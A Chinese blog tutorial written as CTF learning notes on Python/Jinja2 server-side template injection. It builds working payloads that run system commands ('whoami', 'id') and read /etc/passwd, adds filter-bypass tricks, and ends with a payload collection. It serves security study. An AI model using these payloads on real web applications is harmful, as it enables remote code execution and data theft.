Python 模板注入(SSTI) 初探

前几天遇到个ssti的CTF题目,忽然发现自己做题都是去google搜索payload,从来没有自己构造过,今天打算学习一下

ssti漏洞成因

SSTI全称是服务端模板注入攻击(Server-Side Template Injection),众所周知,很多web开发框架使用模板的来提高开发效率,但是也因此造成了一些安全问题,由于配置代码不规范或信任了用户输入的数据导致模板可控甚至RCE。

前置知识

在Python的ssti中,大部分是根据 基类–>子类–>危险函数 的过程来利用ssti。
首先介绍一些特殊的属性、方法:
__bases__:Python 为所有类都提供了一个 __bases__属性,通过该属性可以查看该类的所有基类,该属性返回所有基类组成的元组。注:类的实例是没有__bases__属性的

1
2
3
4
5
6
7
In [20]: class Class:
...: def init(self):
...: print("123")
...:

In [23]: Class.__bases__
Out[23]: (object,)

__base__:以字符串的形式返回一个类的基类。

1
2
3
4
5
6
7
8
9
10
In [20]: class Class:
...: def init():
...: print("123")
...:

In [49]: Class.__bases__
Out[49]: (object,)

In [50]: Class.__base__
Out[50]: object

__class__:Python中一切皆对象,__class__属性用于返回该对象所属的类,实例通过类属性就可以调用类的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
In [34]: "".__class__
Out[34]: str

In [35]: [].__class__
Out[35]: list

In [36]: ().__class__
Out[36]: tuple

In [29]: class Class:
...: def init():
...: print("123")
...:

In [30]: b = Class()

In [31]: b.__class__.init()
123

__mro__:Python 类有多继承特性,如果继承关系太复杂,很难看出会先调用那个属性或方法。为了方便且快速地看清继承关系和顺序,可以用__mro__方法来获取这个类的调用顺序

1
2
3
4
5
In [56]: Class.__class__.__mro__
Out[56]: (type, object)

In [57]: b.__class__.__mro__
Out[57]: (__main__.Class, object)

__subclasses__() : 函数获取类的所有子类。(返回一个列表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
In [5]: "".__class__.__bases__[0].__subclasses__()
Out[5]:
[type,
weakref,
weakcallableproxy,
weakproxy,
int,
bytearray,
bytes,
list,
NoneType,
NotImplementedType,
traceback,
super,
range,
dict,
···

__init__: 此方法为类的初始化方法。当构造函数被调用的时候的任何参数都将会传给它。(比如如果我们调用 x = SomeClass(10, 'foo')),那么 __init__ 将会得到两个参数10和foo。所有自带类都包含__init__方法,可以利用他当跳板来调用__globals__

__globals__: 对保存函数的全局变量的字典的引用——定义函数的模块的全局命名空间。常用于获取function所处空间下可使用的module、方法以及所有变量。

__getitem__: 使用索引访问元素,通常用于过滤[]的情况。

1
2
3
4
5
In [35]: '123abc'.__getitem__(0)
Out[35]: '1'

In [36]: '123abc'.__getitem__(2)
Out[36]: '3'

过waf时还可能会用到__getattribute____builtins____import__

ssti 利用过程

通常,存在模板注入的地方都是可以直接输出的位置,可以传入56 这种表达式,来查看输出时括号中内容是否执行。当然最终的目的肯定是RCE或者ORW。

第一步当然是想办法找到超类object,这里我以字符串变量为例:先是利用__class__找到字符串所属的类str,然后再利用__bases__或者__mro__来找到str的基类也就是object

1
2
3
4
5
6
7
8
In [37]: "ssti".__class__
Out[37]: str

In [38]: "ssti".__class__.__bases__
Out[38]: (object,)

In [40]: "ssti".__class__.__mro__
Out[40]: (str, object)

接下来获取object类的所有子类,找到能够读些文件或者执行系统命令的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
In [43]: "ssti".__class__.__bases__[0].__subclasses__()
Out[43]:
[type,
weakref,
weakcallableproxy,
weakproxy,
int,
bytearray,
bytes,
list,
NoneType,
NotImplementedType,
traceback,
super,
range,
dict,
dict_keys,
dict_values,
dict_items,
odict_iterator,
··· 略

子类数量比较多,在这里我写一个小脚本来帮助我们寻找可用的类。

1
2
3
4
5
6
7
8
9
10
lst = "ssti".__class__.__bases__[0].__subclasses__()

for i in range(0,len(lst)):
if 'os' in str(lst[i]):
print(i,lst[i])

# ssta ❌ test python3 test.py
# 99 <class 'posix.ScandirIterator'>
# 100 <class 'posix.DirEntry'>
# 127 <class 'os._wrap_close'>

找到os的索引是127之后我们再次利用__init__.__globals__来寻找是否存在可利用的函数或者模块,一般情况下这个输出内容较多

1
2
3
4
5
6
In [46]: "ssti".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__
Out[46]:
{'__name__': 'os',
'__doc__': "OS routines for NT or Posix depending on what system we're on.\n\nThis exports:\n - all functions from posix or nt, e.g. unlink, stat, etc.\n - os.path is either posixpath or ntpath\n - os.name is either 'posix' or 'nt'\n - os.curdir is a string representing the current directory (always '.')\n - os.pardir is a string representing the parent directory (always '..')\n - os.sep is the (or a most common) pathname separator ('/' or '\\\\')\n - os.extsep is the extension separator (always '.')\n - os.altsep is the alternate pathname separator (None or '/')\n - os.pathsep is the component separator used in $PATH etc\n - os.linesep is the line separator in text files ('\\r' or '\\n' or '\\r\\n')\n - os.defpath is the default search path for executables\n - os.devnull is the file path of the null device ('/dev/null', etc.)\n\nPrograms that import and use 'os' stand a better chance of being\nportable between different platforms. Of course, they must then\nonly use functions that are defined by all platforms (e.g., unlink\nand opendir), and leave all pathname manipulation to os.path\n(e.g., split and join).\n",
'__package__': '',
··· 略

在这里我发现了可以直接调用system函数来执行命令:

1
2
3
4
5
6
In [51]: "ssti".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["system"]
Out[51]: <function posix.system(command)>

In [52]: "ssti".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["system"]("whoami")
sssp4rta
Out[52]: 0

或利用popen:

1
2
In [57]: "ssti".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["popen"]("whoami").read()
Out[57]: 'sssp4rta\n'

Bypass

过滤中括号 []
使用__getitem__ 来绕过

1
2
In [61]: "ssti".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["popen"]("whoami").read()
Out[61]: 'sssp4rta\n'

过滤引号

可用jinjia2中默认存在的对象request来绕过

1
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

还可以利用chr函数,步骤是获取chr函数然后赋值给chr,下面就可以直接调用了

1
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

过滤双下划线

也可以利用request

1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

关键字过滤

可用字符串拼接或者字符串内置的方法

1
2
In [70]: "ssti".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["sys"+"tem"]
Out[70]: <function posix.system(command)>

或者

1
{{request['__cl'+'ass__'].__mro__[12]}}
1
{{session['__cla'+'ss__'].__mro__[12]}}

字符串内置方法,如replace、decode等等。

1
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
1
2
In [72]: "ssti".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["123tem".replace('123','sys')]
Out[72]: <function posix.system(command)>

过滤大括号

利用%标记,类似盲注,可以参考p0师傅的文章
https://p0sec.net/index.php/archives/120/

payload 收集

获取基类object

1
2
3
4
5
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

文件操作

1
2
3
4
5
6
7
object.__subclasses__()[40] 为file类,所以可以对文件进行操作

读文件:
object.__subclasses__()[40]('/etc/passwd').read()

写文件:
object.__subclasses__()[40]('/tmp').write('test')

执行命令

object.__subclasses__()[59].__init__.func_globals.linecache 下直接有os类,可以直接执行命令:

1
object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()

object.__subclasses__()[59].__init__.__globals__.__builtins__ 下有eval,import等的全局函数,可以利用此来执行命令:

1
2
3
4
5
6
7
object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

参考

Python模板注入(SSTI)深入学习
Flask/Jinja2模板注入中的一些绕过姿势
Python 魔术方法指南